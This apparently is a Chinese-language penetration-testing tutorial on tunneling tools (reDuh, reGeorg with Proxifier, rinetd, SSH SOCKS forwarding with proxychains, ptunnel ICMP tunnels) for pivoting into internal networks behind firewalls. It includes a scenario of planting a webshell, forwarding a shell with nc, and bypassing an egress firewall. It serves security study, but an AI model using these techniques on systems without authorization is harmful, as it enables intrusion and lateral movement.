运用情景:

在 Web 安全渗透测试经常会面临的一个问题,同时也是 Web 服务器加固方面一个很重要的部分,那就是 Web 服务器对外只开放一个 80 端口。Web 服务器的安全防护可以是操作系统的端口定制或者是网管防火前的端口定制。这时渗透测试人员如果想进一步测试内网的话必须先拿下目标服务器并拥有一定的控制权限。 以前渗透测试人员常用的一些方法是通过上传一些针对操作系统的可执行文件到目标服务器,并且必须要通过进程的方式执行该程序。但由于种种限制,所以陆续出现了不同类型的端口转发与流量操控工具。

工具初探:

2.1 reDuh

工作原理:

我想大部分的测试人员都比我懂什么叫端口转发,说白了,reDuh 就是一款由脚本(asp; php; jsp)实现的端口转发器。其实这个转发器通过了两次中转,我们下面以远程桌面服务连接做个图例说明:

由图示上我们也可以看出,从 MSTSC 客户端到目标的 Terminal 服务器中间其实是走了一个这样的流程:

 Mstsc 客户端–>reDuh 代理–>HTTP tunne–>Web 服务器–>Terminal 服务器

当然,对于 MSTSC 客户端而言,这些过程都是透明的,我们只需要在 MSTSC 中指定连接的端口为本地 reDuh 监听的端口即可。

软件使用:

1)运行 reDuhGUI 程序,出现如下界面。在 URL 输入框中输入 reDuh 的地址,点击 Start 按钮:

2) 如果目标 URL 存在且工作正常,那么界面上会变成如下的样式,我们可以看到,Create 按钮的状态变为可用,这是,我们在 Create Tunnel 中输入目标服务器需要连接的地址和端口,以及本地监听的端口号,点击 Create 按钮。这里需要注意的是 Remote Host 的地址不是目标服务器的 IP 地址,而是目标服务器可以访问的任意地址,假设目标服务器的地址为 10.10.10.10,那么如果 Remote Host 为 127.0.0.1,其实就相当于连接服务器上的地址;如果 Remote Host 为 10.10.10.11,那么相当于让服务器去连接内网的另一台服务器:

3) 这时界面上会加入一条数据到列表框,说明本地监听到端口 1234,对应于目标服务器连接的 127.0.0.1:3389 端点:

创建 HTTP 隧道成功后,我们可以使用 MSTSC 来进行连接测试,在 Computer 中输入对应的本地监听地址,选择连接:

4)这时我们可以从程序的日志框中查看到大量的数据传输:

5) 在 MSTSC 中能够正常的连接远程桌面:

6) 如果我们完成了操作需要断开时,可以在右边的列表框中选择一项,然后点击 Close 按钮完成某条链路的销毁; 如果想完全断开当前的连接,可以点击 Kill 按钮:

2.2 reGeorg+Proxifier

运行环境:pythony 以及 urllib3

下载地址:https://github.com/sensepost/reGeorg.git

原理大同小异,我就不解释了,直接上测试使用过程。

运用情景:

在内网测试的时候,mysql 为 root 权限,读到配置文件,得到网站的根目录,写下马,菜刀连之,发现是 system 权限,而且 3389 端口开放这时候出现了问题,外网访问 3389 端口的时候,发现连接不上,只对内网开放。这就很尴尬了,我在内网中,服务器也在内网中,而且我没有公网机器。这个时候就需要使用 reGeorg+Proxifier

reGeorg 使用方法:

先将 reGeorg 的对应脚本上传到服务器端,reGeorg 提供了 PHP、ASPX、JSP 脚本,直接访问显示「Georg says, ‘All seems fine’」,表示脚本运行正常。

运行命令提示符下切换到 C:\Python27\,运行 python reGeorgSocksProxy.py -u (上传 reGeorg 脚本的地址) -p (转发端口),参数顺序无强制要求。

由于是基于 socks5, 本地还需安装一个 socks5 代理工具此类工具网上很多,就以 Proxifier 为例子

然后将代理规则改成 proxy socket5 127.0.0.1

这时候访问,成功进入连上 3389

2.3 rinetd 实现流量转发

实例:

公司的的防火墙只允许 53 端口的出站流量(但是入站流量还是允许的),想通过 80 端口上网,被拒绝。

解决思路:通过在家里放置一台机器,使用公司的电脑去访问家里的 53 端口,家里的电脑 20.1.1.1 通过流量转发吧网站的流量返回给公司的网络。

安装:

apt-get install rinetd

配置:

Vim  /etc/rinetd.conf

启动:rinetd

确定进程是否启动:

从 XP 系统访问 kali(IP:1.1.1.16)的 53 端口,发现可以访问 110 的网站

转发 shell

在 192.168.1.110 机器上侦听 333 端口

在 kali 上转发 333 端口:

重启服务:

在内网机器 1.1.1.12 输入,命令:nc 192.168.1.16 53(连接 kali)

发现成功得到内网机器的控制权:

2.4 其他:

SSH 穿透

 ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains commands target 

SSH 穿透从一个网络到另一个网络

 ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf

proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf

proxychains commands target 

ptunnle-Ping tunnel ICMP

通过 ICMP echo(ping requests)和 reply(ping reply) 实现隧道

服务器:

ptunnel -x 1234(-x 设置密码)

客户端:

sudo ptunnel -p proxy -lp 2222 -da destination -dp 22 -x 1234(da 就是目标地址 dp 目标端口 -x 密码)

嵌套 SSH 隧道:

ssh -CNfg -D 7000 root@127.0.0.1 -p 2222

参考链接:

http://bbs.51cto.com/thread-918911-1.html

https://bbs.ichunqiu.com/thread-12514-1-1.html

https://blog.csdn.net/qq_39721438/article/details/76691492

http://www.freebuf.com/sectool/105524.html

*本文作者:tdcoming